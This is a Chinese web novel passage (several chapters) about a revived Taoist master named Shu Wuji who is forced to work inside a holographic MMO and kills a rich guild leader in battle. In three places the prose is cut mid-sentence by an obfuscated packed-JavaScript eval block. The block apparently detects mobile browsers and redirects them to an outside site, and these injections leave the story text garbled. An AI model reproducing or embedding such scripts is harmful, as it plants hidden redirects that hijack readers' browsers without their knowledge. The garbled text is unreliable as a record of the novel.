《凌霄宝殿网上办事处[网游]》 1. 殊渺 殊无己醒来的时候,鸿雁滩的钟楼刚好敲过十二点。 他躺在宋耀山广场的鹅卵石长椅上,全身上下硌得发痛,僵硬了一会儿,没能坐起来。 天色阴沉,淅淅沥沥下着雨,他一头长发海藻似乱七八糟地纠缠着,道冠掉在地上,杏黄色的道袍皱巴巴拧成一团,又冷又湿黏。 他花了好一阵才把自己从头到脚理顺了,撑着椅子爬了起来,肚子叫唤了一声。 殊无己有些饿,他要去化缘。 殊无己不知自己睡了多久,在他记忆的终点,名叫“殊无己”的妖道已经死了。 背负着数十条重罪,拽曳着一身朽骨,拖泥带水,神志不清地给人负在背上,他看不清也记不清那人是谁,就记得自己一口一口往那华冠丽服里吐血,耳边尖厉的耳鸣,眼前飞蚊似的雪。 万幸,他在把五脏六腑吐出来前就死了,死后仿佛听到哭音,魂归云海,又仿佛梦入黑甜,万事不闻。双目一闭,呼吸一止,再醒来的时候就在这张长椅上,周围的一切都与以前所熟识的大相径庭,往日里可以只手遮天的妖道如今竟不知该敲开哪扇门去化缘。 殊无己呆坐了片刻,举步走向面前唯一还算有点人气的黑色方形居室,捋了捋道袍,将拂尘搭在右臂上,抬手叩了叩材质不明的窄窗。 ——现代人都知道,他试图化缘的小屋是一辆还没熄火的迈巴赫。 玻璃窗被摇下来,露出一副黑墨镜和一身笔挺的黑西装,黑墨镜上下打量了殊无己,像看到了什么跳大神的怪胎,露出了扭曲的表情。 “这位老丈。”殊无己温声道,“贫道姓殊名渺,道号无己,自三叠山三清观来。因缘际会,滞留此处,又囊中羞涩,斗胆想请老丈施个方便。福生无量天尊。” 被称为老丈的四十岁司机面色青白,摇起车窗就想走人,一旁副驾上的女子却抓住了他的小臂,轻轻摇了摇。 “你又要做活菩萨!”黑墨镜恨恨地看了太太一眼,“不知哪里跑来跳大神的流浪汉。” “他好帅嘛。”女子眯着眼睛笑起来,点亮手机屏幕,正是方才打开车窗时抓拍的殊无己,照片中的杏袍道人鹤发童颜,眉如远山,目似清泓,衣着虽脏乱,气质却清贵和雅,叫人忍不住心生好感,“你看他cos殊掌门cos得多像,三清肯定玩得溜,你送他去收容所呗,救人一命胜造七级浮屠。” “玩得溜就不会在路边讨饭了。”黑墨镜拗不过自己的太太,呸了一声拉开了遮光帘,就见殊无己大概是知道化缘无望,已走到了广场前,站在最高处的台阶上凭栏远眺,他背负双手,仙风道骨,倒真有点像《海尽天劫》游戏里新登场的三清掌门,甚至真人比建模还要精细些。 黑墨镜按了两声喇叭。 殊无己垂目一看,轻飘飘从台阶上跃下来,鹞子点水似的落在车前,彬彬有礼地探身相问。 黑墨镜愣了一下,道:“上车,我送你去收容所。” 殊无己茫然:“那是何处?” “去了你就知道了。”黑墨镜不耐烦道,“就是你们这些打游戏打得一夜之间倾家荡产的人该去的地方。小年轻,有妄想症就赶紧治,别以为自己真把自己当殊无己。” 殊无己:“?” 最终他在黑墨镜的瞪视中拉开迈巴赫后座的车门上了车,黑墨镜透过后视镜冷冷地睨了他一眼,一脚踩下油门,漆黑的座驾咻得驶出数十米。 殊无己有些新奇,笑问:“老丈的居室可是施了术法?竟有腾挪万里之势。” 黑眼镜就当他有病,没理他。 倒是副驾驶上指甲印了紫蝴蝶的贵太太回头笑着反问他:“你知道什么术法?御六气还是混元桩?” 她口中所提的“御六气”和“混元桩”都是《海尽天劫》中三清门的技能,殊无己却淡笑应道:“你口中所言不过是些入门子弟的拳脚功夫,真要冯虚御风遨游天地,单单这些却是不够。” 他说得一本正经,把紫蝴蝶逗笑了:“咱殊掌门确实超凡脱俗,算半个仙人,你入戏还挺深。话说回来,小伙子,来合个影不?你这妆造哪儿做的啊,效果咋这么好,生图赶得上人家正片了!” 殊无己:“何为合影?” “得了你,差不多点。”黑墨镜嗤道,转而对紫蝴蝶说,“你也是,不是都拍过了,还合什么影。” 紫蝴蝶不听,笑嘻嘻地把一脸茫然的殊无己拉到自个座位背后,打开手机前置摄像头,咔嚓一声拍了张自拍,十指翻飞间迅速地给自己加了个美颜,顺便发朋友圈:[龇牙][龇牙]路上捡到了殊掌门,掌门盛世美颜是真的。 殊无己瞧着照片里自己被定格的脸,微不可觉地挑了挑眉。 ------------------------------------- 大概是因为黑墨镜身上散发出的低气压,接下来一路迈巴赫里没有人说话,殊无己看着窗外飞驰而过的风景,一时分不清这天翻地覆的景象是真是幻,所幸他素来讲究顺势而为,倒也能在这光怪陆离的新世界中找出几分释然与自在。 二十分钟后,迈巴赫下了高架,从新城进入旧城,碾着颠簸的石道驶到银杏巷子前,熄了火。 黑墨镜在一颗合抱粗的老银杏前降下车窗,点了一根烟。 紫蝴蝶道:“下去吧,到地方了。” “什么地方?”殊无己问。 “老银杏巷子。”紫蝴蝶道,说罢她又动了动嘴唇,欲言又止。 “别多事。”黑墨镜将烟蒂捻了,点了点正对老银杏的青石小道,“打那弄堂进去,一直走,看到三十三号就进,左拐直接上三楼,挂了‘街道办事处’一牌子的地方就是,那里会有人给你安排住处,运气好还能有活干,以后踏踏实实做人,总不至于混成现在这个样子。” 殊无己这才明白过来,车里两人是好心帮他的意思。 “有劳。”他点头道了谢,干脆利落地下了车,便往黑墨镜指的地方去了。 车子并没有在他走后立马发动。 车内安静了片刻后,紫蝴蝶忽然道:“他真的是一级失业者吗?” 黑墨镜道:“还能是什么。看长相也就二十出头吧,还中二病病得挺重。” “可惜了一张俊脸。”紫蝴蝶叹气,“做苦力活得长吗?” “人均期望寿命也就五十出头点,活得长干什么。”黑墨镜又往嘴里塞了根烟,没点,他转头道,“朋友圈删了,当你老公死的啊!” 紫蝴蝶给了他一胳膊肘子,咯咯笑道:“知道了,老醋坛子。” 她伸手去摸衣袋里的手机,不料摸了个空。 她不以为意,又往身旁探了探,仍没有找到,这下终于有点急了,前前后后查了几遍,四围空无一物。 “怎么了?”黑墨镜皱紧了眉头。 “手机丢了。”紫蝴蝶咬牙,“还殊无己呢,原来是个扒手!” ------------------------------------- 殊无己并没有依言去三楼,而是一边漫无目的地走着,一边盯着顺手牵羊来的手机摆弄。 这个会发光的小方盒适才通过某种法术留下了他的影像,可能会招致危险。 他效仿紫蝴蝶用手指点了点屏幕正上方的绿色图标,弹出一个对话框来,群聊名称是:“福生无量天尊”,备注“三清门官方门派群”。 殊无己眼睛一亮,这算是他醒来后见到的第一个认知范围内的东西。 就是这些道友的发言内容看起来有些奇怪: 陈道乾:放两个道歉喇叭就想完事?开什么玩笑? 王道坤:屠城,我举双脚建议屠城 道法自然:大师姐三天没上线了嘤嘤嘤 赤心の火热爱:屠城带我一个 道姑周梦瑶:屠城带我一个 陈道乾:白鹿青崖那边说了,不把骗婚gay杀进收容所誓不罢休,淇水汤汤还捧着死渣男不放,干脆把他们一起屠了。 道法自然:嘤嘤嘤我打不过渣男,大师兄来吗@1哥 道姑周梦瑶:@1哥大师兄带队! 殊无己的屏幕上跳出一行小红字:“有人@你” 他丈二和尚摸不着头脑,顺手点了点小红字,屏幕上弹出一个对话框。 光标移入对话框内,他的眼前展开一副虚拟键盘,莹莹蓝光投射在空中。 殊无己茫然地戳了戳。 贫道求大1:&#(!&RT@(G) 陈道乾:? 王道坤:? 道法自然:???? 赤心の火热爱:大师兄怎么在脸滚键盘?? 道姑周梦瑶:[语音信息]大师兄你不方便打字就语音呗~~~~ 清甜的少女声从盒子里传来。 殊无己有些懵,下意识应了声:“什么?” 他的设备仍停留在输入界面,这句话自然而然地转化成语音信息发了出去。 群消息飞快地刷了起来,感叹号刷了满屏。 道姑周梦瑶:[语音信息]卧槽大师兄真的说话了!!!大师兄竟然真的是男的!声音还超好听! 赤心の火热爱:我惊呆了!!我一直以为是人妖来着的…… 王道坤:我也以为…… 清风明月:那个,你还求大1吗? 道姑周梦瑶:??? 道法自然:??? 陈道乾;??? 王道坤:??? 殊无己一句话也没看懂,干脆随心所欲地把这串“???”顺着周梦瑶说他声音好听的意思当成了夸奖。 贫道求大1:[语音消息]谢谢。 清风明月:啊我死了。 清风明月:这是我泡到大师兄的意思吗? 道姑周梦瑶:[语音消息]清风你做什么梦啊,你是大1吗? 清风明月:我不是吗? 陈道乾:等等等等,我们是在说屠城的事吧? 道姑周梦瑶:哦对,把正事忘了,大师兄,我们打算跟白鹿青崖一起屠了,你来吗? 贫道求大1:[语音消息]屠城?这是为何? 道姑周梦瑶:因为他们捧着渣男啊,欺骗大师姐感情。 贫道求大1:[语音消息]…… 贫道求大1:[语音消息]诸位三清门人,我辈既是修道之人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438800|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理当是道则进,非道则退。以怨报怨,滥造杀孽,后辈必受其祸,还需三思后行。 殊无己说完这段惯常训斥门人的话才想起来,眼前这个群聊不是他执掌了百十年的清泓观,而是一个未知全貌,聊天信息他都看不懂的神秘门派。 果不其然,群里陷入了诡异的沉寂。 他要撤回信息也来不及了,更何况他还没有掌握这项高端功能。 三分钟后。 道法自然:…… 清风明月:…… 陈道乾:…… 王道坤:…… 道姑周梦瑶:……大师兄,你你你在玩梗吧? 赤心の火热爱:大师兄可能被人魂穿了……我就说他怎么可能发语音。 道姑周梦瑶:我也觉得倒是魂穿的可能性比较高…… 清风明月:魂穿+1 殊无己不自在地轻咳了一声,没再接话。 他很想说一句“无心之言请勿在意”,又觉得屠城这样的大事迫在眉睫,他身为三清掌门人理当管上一管。 所幸几百来号人的大群里很快就忘了突然神经失常的“大师兄”,开始兴致勃勃地讨论屠城约架的具体事宜,殊无己一边低头关注时事信息,一边漫无目的地信步闲逛。 不知不觉间他又绕回了银杏小院中,迎面便见一辆杀气腾腾的迈巴赫。 车门打开,俩黑衣保镖冲出来,在殊无己反应过来前把他扑倒在地,紫蝴蝶袅袅娜娜下车,夺回手机,啐道:“好心帮你,你非要自寻死路,好啦,收容所也别去啦,去蹲号子吧,班房也有游戏打的。” 黑墨镜倚着车门,得意洋洋地给了他一个眼神。 殊无己倒并未惊慌,他心知周围一圈都是没修行过的普通人,自己也不便大动干戈,便安分地任人捆着,只是抬头问道:“请问夫人,可知道太平天街在何处?” 太平天街正是方才群聊里那群三清门人最后商量出来的约架地点,原话说的是“太平天街复活点”,但殊无己不知这复活点是什么意思,干脆省了,留下更像地名的前四个字。 紫蝴蝶看白痴似的看他:“太平天街在漠北啊,看地图找传送点你都不会,还cos殊无己,假粉吧。” 说罢一挥手:“走走走,送派出所去。” 殊无己大概能猜出派出所是个与“衙门”相类的地方,心中毫无波动,手里暗掐了个诀,准备找准时机抬腿便溜。 黑墨镜和紫蝴蝶双双上了车,一个保镖按着他,另一个保镖准备打电话报警,殊无己思忖时候正好,微微一动打算脱身,不料就在此时另一银灰色的“移动房屋”不知从何处驶来,尖啸一声刹停在广场,溅起一地积水,泼了殊无己一身。 殊无己:…… 迈巴赫上刚上车的二人又下了车,方才还一脸凶相的黑墨镜小跑到银色跑车前,恭恭敬敬地弯腰拉开了车门。 紫蝴蝶娇笑一声:“老板怎么来啦,今天不是开过会了。” “有点事。”车里坐着的人说道。 殊无己一怔,低沉悦耳的声音有些耳熟,但他确定自己并没有这样的熟人。 不是熟人,便可能是死敌,他干脆拿袖子抹了抹溅到耳畔的泥浆水,在脸上涂了一大片污渍。 只见不远处一双素白缎面的锦布鞋踩在青石板上,上边隐隐绣了龙纹,在现代是极罕有的款式。 不仅如此,跑车中下来的男人穿着一身月白唐装,袍角刺了青莲,领口系着珍珠盘扣,在简陋陈旧的银杏老巷中瞧着有些珠光宝气,称不上花哨,反倒是庄重典雅的好看。 男人关上车门,低头正对上殊无己的眼神,目色利如并刀,锋芒毕露,瞳孔里似藏了碎霜,又冷又厉。 “闹什么呢?”他问黑墨镜,不说话倒还好,一开口便有些刻薄,“唱大戏唱到凌霄宝殿?这乞丐是什么东西?” 黑墨镜忙道:“烟烟在鸿雁滩捡到的流浪汉,本来打算送来收容所,没想到他是个扒手,想偷烟烟手机,就先给抓起来了。” 男人皱眉,微微抬了抬下巴示意,懒得多问一个字。 两个保镖架着殊无己便要走,殊无己回头看了男人一眼,似有似无的熟悉感又涌上来,但男人的面容确实英俊而陌生。 肖紫烟摆手笑道:“老板,这小鬼在宋耀山广场一本正经cos殊无己,你可别说,学得老像了。” 她似是刻意加重了“殊无己”三字的读音,殊无己察觉,男人搭着车门的手指僵了僵。 肖紫烟自然也发现了,嘴角一抽:“我就随口说说,您可别较真……” “你要进收容所?”男人打断了她,转身问泥猴似站在银杏树下的殊无己。 殊无己彬彬有礼道:“是两位好心人送贫道来此处。” 男人微微一怔,转头看向肖紫烟。 肖紫烟没搞明白自己怎么被老板瞪了,嘟囔道:“不是说了是鸿雁滩捡的嘛。” “那就来。”男人道,冲殊无己点了点头,“跟我上楼。你叫什么名字?” 殊无己本想再次报上名号,但又想到三清门那个莫名其妙和自己同名同姓的掌门,话到嘴边一转,轻咳一声:“贫道殊渺。” 3. 注册 秦老板亲自给殊无己安排了住处,在办事处会议室小楼的顶层。殊无己怀疑这是办事处的伙计住的地方,方便快捷,随叫随到。 房间很窄,只有一室一卫,卧室内满满当当填了一张床后便没有多少空地,要侧身紧贴墙才能进出通行。 殊无己倒是不在意,幕天席地他能习惯,方寸一隅只要够容身他也能躺得很舒坦。 秦老板交代了他被褥等用具的位置,留了一本《老银杏社区无业人员居家守则》给他,道了别就打算离开。 窗外下雨,秦老板没带伞,便从衣柜里捞了件长风衣往肩上披了,也不系扣,随手戴了顶天鹅绒阔沿帽,翩然出门,仍旧是走楼梯,长腿一迈,三阶并作两阶走。 殊无己看不到他的模样,但能听到轻快的步伐,他觉得有些好笑,这秦老板身上有一股年轻劲,尽管从气韵看,他并不如外表看上去那般年轻。 殊无己走到窗前,目送那抹黑影上了车后,缓缓拉上窗帘。 人走干净了。 只见他轻轻一拍手,荧光一现,仙力汩汩溢出,室内“簌”得一声亮堂起来,头顶上吊着的几个悬柜柜门纷纷打开,物件被一股无形的力托着,飘了一室。 殊无己不喜欢理东西,喜欢所有物件不分类别地飘在身边,信手拈来。 走到镜前,解开腰带,将道袍、里衬褪了,布料一离手便与其他物件一道在屋内飘着,他赤身露体地躺上了床,长长的银发铺在精瘦的身体与浅灰的床褥上,像覆了一层雪。 殊无己不喜欢穿衣服,他喜欢裸着。 然而,在他躺上床的一瞬,似乎有什么机括被触动,发出“滴——”的一声长鸣,蓝盈盈的光罩穹庐似把他扣在里面,枕边墙面伸出两根不知名金属杆,末梢覆着薄片,在禁锢住他脖颈的同时贴上了他的头顶。 殊无己有些诧异。 与此同时,一个柔和的女声在他耳边响起: “全息网游海尽天劫欢迎您,玩家1933729,正在为您进行体型扫描与脑波投射……” “扫描已完成,默认自动进入灵海世界。” 殊无己只觉眼前一黑,下一瞬,苍蓝的海洋幕布般铺开在他的面前,他赤着身体站在海滩旁的乱石滩上,鼻端嗅到海风的腥气,海浪冷冷地卷着他的脚踝,撩动似的升起又退去。 殊无己惊讶地问道:“我现在身在何处?是何术法使我瞬移至此?” 女声答道:“您在您的床上,1933729先生,现代社会不相信魔法,是科学的力量将我呈现在您的面前。” “你?” “我是海尽天劫,即你现在所处的虚拟世界的智能人格,第一百二十五代AI系统。”女声道,“我将为您提供包括新手指引、充值提现在内的所有流程引导,让您愉快无阻地在海尽天劫中享受余生。” 殊无己不语,他不相信“智能人格”,但相信自己的眼睛。 阖上双目,聚起灵识,细小的电流在眼皮上跳动,殊无己“看到”,正如女声所言,眼前的波涛浪涌尽管逼真过任何一种幻术,但仍是假的,它们由上亿细小的微粒构成,成像在视网膜之上,对光与脑倾尽所能地玩着把戏。 女声道:“一分钟后,您将进入海尽天劫世界,鉴于您是初次登陆游戏,我将为您创建角色并进行职业匹配。” “游戏?”殊无己抬了抬手,道,“抱歉,我恐怕无暇置身其中。可否劳驾送我回去?” 女声微微一顿,答道:“登出请求无效。经系统核查,您的身份信息属于旧城区老银杏街道一级无业人口,根据《劳动法》规定,人力市场饱和期,一级无业人口每日需在游戏内停留至少十工时,至多十五工时的工作时间,否则无法脱离系统。” 殊无己直问道:“这究竟是游戏,还是工作?” 女声道:“是义务。” 说罢又道:“游戏载入完成,为您匹配的职业是:三清道门。道长,请——” 刹那间,殊无己光影腾挪,海浪消弭,烈日隐于云后,降于西山,换而繁星缀满星空,朗月泼下满地银辉。 继而脚下开始隆隆震颤,只见地面耸起,高山拔地,一阵云蒸雾绕后,耳畔风声渐渐变成了溪水淙淙,鸟鸣啁啾清脆可人,身前现了一丛翠竹,周边一片山明水秀。 三清观便立于这清峻山色中,殊无己的视角由平视变为俯视,数百三清弟子整齐列队门前,口中齐念:“挫其锐,解其纷,和其光,同其尘。”琅琅有声,吐气悠长。 最后镜头飞跃过丰神俊朗的弟子列队,俯冲至三清大殿,停于三清神像前,殊无己方站定,便见身披玄金道袍的三清掌门回过身来,一抬拂尘,启唇道:“福生无量天尊。” 殊无己一惊。 三清掌门竟真与自己有一张八九分像的脸,而角色身旁的空中浮现出一行金色小字: 三清掌门殊无己 殊无己总算彻底弄明白肖紫烟等人的反应,尽管在看到秦老板一柜子人偶时便已经隐隐猜到原委,但亲眼所见之时,哪怕是他自己,也禁不住哑然失色。 就在这时,画面凝滞,色泽褪去,转为灰白,女声复又响起:“请设置您的昵称。” 殊无己道:“殊无己。” 画面震了震,果不其然,女声道:“用户名已存在。”还未等他改口,又补充说:“另包括‘殊无己的老婆’、‘殊无己的老公’、‘殊无己小迷弟’、‘殊无己的底裤’等二百一十五个昵称已被注册,请玩家更换名称。” 殊无己:“……” 他活了几百年,头一天有一种“全世界都在和我开玩笑”的感觉,只得低叹一声,道:“殊渺。” “叮——”的一声脆响后,女声带着喜意:“用户创建成功,即将进入海尽天劫世界!” “且慢。”殊无己道,伸手点了点自己的赤裸的身体,苦笑道,“你得先给我件衣服穿。” 说罢身前便白光一晃,他发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438802|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现自己下身多了条底裤。 “恭喜您获得新手装素白锦。” “正在随即为您匹配传送点……” “您的传送点为:漠北-太平天街。” “传送将在三秒后完成:” “3。” “2。” “1。” “您的游戏生涯从此开始,祝您好运,游戏愉快!” 呼啸的光影,腾挪的日月,在快到让人不及反应的旋转后,扑面而来的是滚滚黄沙。 殊无己在漫天的黄沙中睁开眼。 太平天街位于漠北白云镇,其传送点也正是漠北唯一的复活点。 海尽天劫的老玩家都知道,太平天街并不太平,因为这个复活点方圆百里不设安全区,简言之,白云镇约等于官方钦定的约架点。 所以传送到这里的新手玩家可以说都是倒了血霉,但殊无己显然意识不到这个问题,他穿着一条底裤,头顶金光闪闪的称谓:“修为:35”,气度悠然地站在“白鹿青崖”与“淇水汤汤”的腥风血雨间。 两个帮会已经过了叫骂阶段,正在血拼。 场面异常火爆,因为战场就踩在复活点上,尸体变成活人又变成尸体,暗红的血渍溅得满地都是,战场自我清理的效率赶不上玩家生而复死的速度。 白鹿青崖的帮主“问情天”的角色是“血影”,绝对的pvp强势职业,金瞳赤眉的面上长长两条血痕,左手握着门派主武血鹰刃,右手擎着悬满倒刺的副武摧玉鞭,刃面上凿一颗流光溢彩的十八级夺魂石,就差把“我平A一下两万八”几个字刻在上面。 既然是游戏,自有机制昭告天下此人是个氪金巨佬,他方圆十米百草枯萎,是血鹰的累充开放被动技能“天心折”,累充开放技能在正经的pvp对战中撑死了算个花架子,存在意义就是平时走在大街上装逼,白鹿青崖此时显然将其用于示威。 但殊无己看不明白这些道道。 他看得懂实力强弱,灵力寡薄,但看不懂黄金富贵,只觉得丁零当啷的有些晃眼睛。 如果此时有人告诉他这金碧辉煌的阵仗名为“钞能力”,他大概也会淡笑一声,斯文地回敬一句:“就算是玉帝本人也一样被我揍过屁股。” 于是修为35的妖道步若流云地朝修为35000的问情天走了过去。 光着膀子只穿一条裤衩,端着“悬崖勒马为时未晚”的悲悯姿态,抚着拂尘走了过去。 焦灼的战况并没有因为裸男的加入而缓和,两帮人杀红了眼睛,也没心思顾及这个裸男长得有多像npc。 五岳的剑光,血影的鞭痕,珠沫的海潮,菩提的花叶,甚至还有三清的气浪通通往殊无己身上招呼,不是针对,只是顺便,红橙黄绿的特效跟迪厅灯光似的电得人眼睛疼。 殊无己看着这些光线粒子,也不知道有没有躲得必要,习惯性大宗师一般轻抬拂尘一架…… 然后他就被一个击飞弹上了天。 4. 秦不赦 “您已经死了。” 清脆悦耳的女声道。 “您会立刻在就近复活点复活,复活代价是扣除3%的修为。” “海尽天劫友情提醒您,您的账号属于‘人身绑定’号,若修为归零,您将失去玩家资格,请千万小心。” “您已复活,祝您游戏愉快。” 殊无己听到“就近复活点”五个字时就已经隐隐觉得不妙,果不其然,白光闪过后,他的身体从空中降落,然后轻飘飘停在了白鹿青崖帮主问情天面前那片枯萎的草地上。 这正是他刚刚暴毙的老位置。 殊无己:“……” 问情天可能是杀人杀过瘾了,这回儿眼睛没这么红,看到他id边上帮派称号一栏是空的,又看到他修为只有33,马上反应过来是被误伤的萌新。 他开口道:“萌新吧,传送到这里够倒霉的,我把你丢出去?” 说罢长鞭一抖,卷了殊无己的手腕,一牵一扯,把人甩出了交战圈。 问情天要不就是忘了自己是红名,要不就是根本不知道35修为有多脆。 殊无己只觉腕上一痛,低头一看鞭子碰过的地方血流不止,头顶上生命直线型下跌,在他被甩出战圈的同时,可怜兮兮的三百点气血只剩下20,正好,砸在地上的余震顺利让它归了零。 “您已经死了。” 女声响起,殊无己蹙眉半晌,抬手勾了右上角的不再提醒。 他看了眼自己的修为,果不其然又少了一点,变成了32。 殊无己心中一凛,只觉诸事不清,不能贸然让修为归零。然而事与愿违,刚做好这样的打算,他就很悲惨地发现自己一复活又开始掉血,而他头顶的毒条消耗得极其缓慢,足够他再死个十几二十次。 这是问情天兵刃上那颗夺魂石的附带效果“附毒”,造成伤害后整整一分钟内持续掉血,不被复活、净化、治疗等任何技能打断。 殊无己按了按手腕,伤口没有像第一次复活时一样消失,仍旧血流不止。 他脸色有点发白,三秒后,不用女声提醒他也知道自己不幸地又死了一次。 修为照旧扣除百分之三,这回他明显地察觉到身体里似乎有什么东西被抽走,一瞬间的目眩后,四肢百骸间少了一股力,尽管身上并没有明显异常,但仍能感到略微的疲惫。 殊无己又站了起来。 他扬起眉,甩了甩不存在的袖子,抬起拂尘准备转守为攻,海尽天劫察觉到他的攻击意图,盈亮的攻击面板在他面前展开。 三清门共有八个技能,算上轻功和累充开放共十个,大抵就是肖紫烟提过的“御六气”、“混元桩”之流,殊无己轻扫了一眼,只觉一个也看不上,直到一个“自创宗门”的光标弹出,他想也不想点了上去。 女声响起:“自创宗门模式已开启,您可自由定义招式开创武学流派,伤害数值视您自身面板与招式杀伤力而定。” 殊无己一顿,看了眼面板: 气血:300(持续下降中) 内功:100-300 内防:0 外防:0 暴击:0 暴抗:0 …… 后面一串都是0。 殊无己看不懂阿拉伯数字,但看得懂〇,知道这个圈是什么意思,也大概能猜到问情天面板数值后面一连串的四个圈是什么意思。 说白了,打不过,等死吧。 就在他研究面板这一会,毒条不晓得杀了他多少次次,再从复活点爬起来的时候他的修为已经只剩下15。 那种精神力被抽离的感觉更明显了,尽管对于殊无己而言远远到不了耗竭的程度,但是他还是有失身份地腿软了片刻。 他阖上双目,再睁开眼睛的一瞬目中闪过一丝冷光,先前伪作的温文和雅风清月明撤了个干净,妖道思忖照自己从前的老路走: 劝架劝不合,恶人不行善,卖力划不来,不如全杀了。 他将控制页停留在“自创宗门”一栏,脚下虚虚踩了个步法直绕向问情天背后。 他身法奇诡,四面而来的技能特效没一个擦到他的身体,只觉一晃一闪,雪发纷飞,白影已腾挪至问情天半步之内。 问情天自然没把修为35的萌新放在眼里,心里还觉得好笑:三清不是远程输出吗,跳那么近想干嘛?抡拂尘打人? 殊无己看都没看他一眼,这妖道素来有通天之能,平素温温和和不冷不热,发起疯来天帝的耳刮子照样打,偏偏又有一副纳天地灵力于己身的天赐体魄,天生适合修道,为世道所独宠。 殊无己的血条在他靠近问情天的同时又见了底,他抛起拂尘进入死亡状态,三秒后借诸复活点原地复活,修长素白的手指正好搭上拂尘的手柄,白肤雪扫衬得五片指甲漆黑如墨。 甫一落地,他便欺身上前,一脚踏在沙尘中凸起的土壁上,聚灵力于丹田,又汇入四肢百脉,拂尘一抖,一技能未放,竟直直将那略尖木质帚头自背后刺入问情天的心口! 咔嚓一声,价值数百万的护心镜竟然当场崩裂,问情天茫然低头,只见自己外防破万的金装上衣胸口破了一个大洞,半截拂尘从血洞中弹出,银须挂着血丝,垂在他的身前。 画面静止了片刻。 打架的两拨人都惊呆了。 问情天,被三清的拂尘,捅死了。 头顶公告栏飘过击杀讯息的时候众人才反应过来发生了什么: “惊鸿照影!玩家[殊渺]在漠北太平天街触发了‘天地灵气之精华’,获得buff诛心提升100000点,持续时间一分钟。” “玩家[殊渺]使用自创技击杀了玩家[问情天]。” 殊无己自然没有看公告,看了他也看不懂,更不知道周围的人为什么会瞠目结舌。 他殊无己都出手了,大动干戈地亲自出手了,哪里有不死人的道理? 奇怪什么。 然而下一秒,他的脸色就不好了。 他发现自己还在掉血。 三秒后。 “玩家[殊渺]死于中毒。” 修为还剩3点,毒条还有15秒。 他完了。 周围哄然,问情天复活了,感觉自己受了奇耻大辱,白鹿青崖的帮众也惊醒了,撸起袖子准备给帮主报仇,惩治一下这个踩了狗屎运的不长眼蠢货。 殊无己不担心这些不入流的攻击,只对头上的毒条不堪其扰,便转身问问情天:“你这毒可有解药?” 问情天:“?” 问情天确信杀了自己的人是个白痴,这样一来更觉耻辱,当下拔出血鹰一剑刺去,殊无己闪身避开,他立刻开了个硬控长鞭甩向对方脚踝,不料殊无己趁势凌空跃起,身形消失在半空。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438803|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问情天一愣,回想起方才被背刺时对方一言难尽的走位,心中一寒,然而下一秒公告栏就出现: 玩家[殊渺]死于中毒。 瞬间,殊无己再次原地复活,轻飘飘如一朵白云般在问情天剑上一点,借力跃至他的肩头,双足踩在他两边肩膀上,猛一股威压愣是按得他跪倒在地。 殊无己神色淡淡,脚背抵着问情天的咽喉,逼问道:“解药在哪儿?” 问情天破口大骂:“你有病吧,附毒有个屁的解药?你倒是找个奶妈给你开净化啊。” 他一刀往自己头上劈去,下一秒,咔嚓一声,殊无己双足捺着他的脑门一旋,直接拧断了他的脖子。 两人的身影双双消失,公告栏弹出: “玩家[殊渺]使用自创技击杀了玩家[问情天]。” “玩家[殊渺]死于中毒。” 殊无己耳边响起一声警铃。 画面一震,系统女声道:“警告,您的修为值仅剩1点,请务必谨慎游戏!” 语毕,怕他听不见一般,又重复了一次:“警告,您的修为值仅剩1点,请务必谨慎游戏!” 殊无己看了眼还剩5秒的毒条,无奈道:“能劳烦让我多死一会儿么?” 女声顿了顿,道:“无效请求。” 说着他被踢出了死亡状态,一阵白光后高调地在原地复活。 殊无己垂首看了看自己五片漆黑的指甲,心道:好巧不巧,这回又是被毒死的。 毒条每走一秒,他的生命值掉去80点,五秒毒条对一个哪怕修为350的菜鸟来说都不过是杯水车薪,被毒条活活毒到销号恐怕是海尽天劫开服以来的头一回。 殊无己一边侧身躲开几个技能,一边考量销号后可能面临的局面,双目虚虚望着远方,有点心不在焉。 5秒。 4秒。 3秒。 生命值还剩60点。 50、40、30…… 降到25点时,远处忽然传来一声清脆的剑鸣,殊无己蓦然抬头,只觉此情此景有些熟悉。 下一瞬一束柔光倾洒在战场上,青天白日下忽然出现了一轮月亮,聊天频道开始疯狂地刷惊叹号。 殊无己却眼前一黑,似是什么东西兜头把他罩在了里面。 他伸手一触,“叮——”的一声脆响,面板界面再次浮现在他眼前。 气血:24380 内功:100-300 内防:380 外防:380 暴击:0 暴抗:5800 修为:1029 界面上浮现出一行小字:“获得通用防具[斗篷-对长风]。” 与此同时毒条走到了尽头,殷实的气血值这回稳如泰山一动不动,殊无己拉下斗篷,正要道谢,却微微怔然。 面前救他性命的是个熟人,今天才认识的熟人。 秦老板侧身倚坐在坐骑“踏月行”之上,身穿一副轻甲,长发高高竖起,银冠熠熠生光。 